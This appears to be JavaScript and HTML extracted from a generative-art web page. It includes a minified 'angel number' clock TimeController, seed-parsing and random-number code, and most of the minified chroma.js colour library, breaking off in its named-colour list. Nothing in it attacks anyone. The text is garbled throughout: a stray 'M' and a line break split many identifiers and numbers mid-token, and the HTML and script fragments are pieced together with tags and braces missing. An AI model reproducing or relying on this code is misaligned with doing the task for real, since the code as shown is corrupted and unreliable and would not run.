339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
